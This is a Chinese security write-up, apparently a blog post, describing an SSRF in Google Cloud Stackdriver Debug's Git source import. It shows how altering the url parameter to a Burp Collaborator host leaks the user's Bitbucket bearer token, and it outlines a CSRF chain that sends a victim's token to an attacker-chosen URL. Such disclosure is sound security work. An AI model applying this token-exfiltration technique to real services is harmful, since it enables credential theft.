Google Cloud Platform StackDriver中的SSRF-安全客

在阅读这篇好文后，我对GAE进行了测试。在测试中发现Google Cloud Platform Stackdriver中有一个调试应用，用户可以向该应用导入源代码并进行调试。用户可以从Github，Gitlab或者Bitbucket中导入源代码，并直接在Stackdriver Debug页面中调试代码（详情见此）。

如果不正确地集成第三方应用程序会导致问题。我在测试此项功能的过程中就发现了一种特殊的SSRF漏洞。

让我们看看具体是怎么回事：

如果部署了App Engine应用，就可以在https://console.cloud.google.com/debug上看到有多种方法来将源代码导入这个调试应用。

单击Bitbucket上的“Select Source”按钮会弹出一个授权页面，问你是否允许Google在该应用中存储oauth令牌。

在oauth页面中授权后，用户将被重定向回google，并显示用户的bitbucket/gitlab/github仓库的详细信息

到目前为止，一切看起来都挺安全的，redirect_uri不能被篡改，state参数也使用正确。Google实际上是如何获取仓库列表和分支名称的呢？发现是通过两个请求：

第一个是列出来自bitbucket/gitlab/github的仓库

https//console.cloud.google.com/m/clouddiag/debug/v2/gitlab/listpid=groovy-plating- 250224

第二个是列出bitbucket/gitlab/github中的分支

https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2Fgitlab.com%2Fapi%2Fv4%2Fprojects%2Fprojectid%252Fproject-one%2Frepository%2Ftags

第二个对应解码为

https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https://gitlab.com/api/v4/projects/projectid/project-one/repository/tags

可以看到有个url参数，我把https://gitlab.com替换为https://xxxxxxx.burpcollaborator.net然后尝试判断是否存在SSRF保护。发现竟然是没有的。

更令人惊讶的是，从Burp Collaborator抓到的SSRF请求中还有些其他内容：

GET /?per_page=100 HTTP/1.1
Host: evdjffp55g27sbbipe7uqzx1tszin7.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Bearer 123bcad14289c8a9d3

这个请求带有包含Bitbucket access token（访问令牌）的Authorization请求头。考虑到这一点，可以将访问令牌和SSRF请求组合发送。因为如果没有用户访问令牌的话，Google不可能从API endpoint请求到个人信息。

现在已经清楚了解Google是如何和第三方应用程序集成并导入源代码的，以及Google如何从不同的API endpoint获取资源（比如分支名称，标签等）。

于是到了最后一步，利用这个SSRF漏洞将用户访问令牌发送到我们指定的任意url。思路很清晰，请求只是GET而不是POST，如果能够对终端用户实施GET请求的CSRF攻击，就只要构造exp url发给用户，于是Google的这个SSRF就会将受害者的访问令牌发给我们。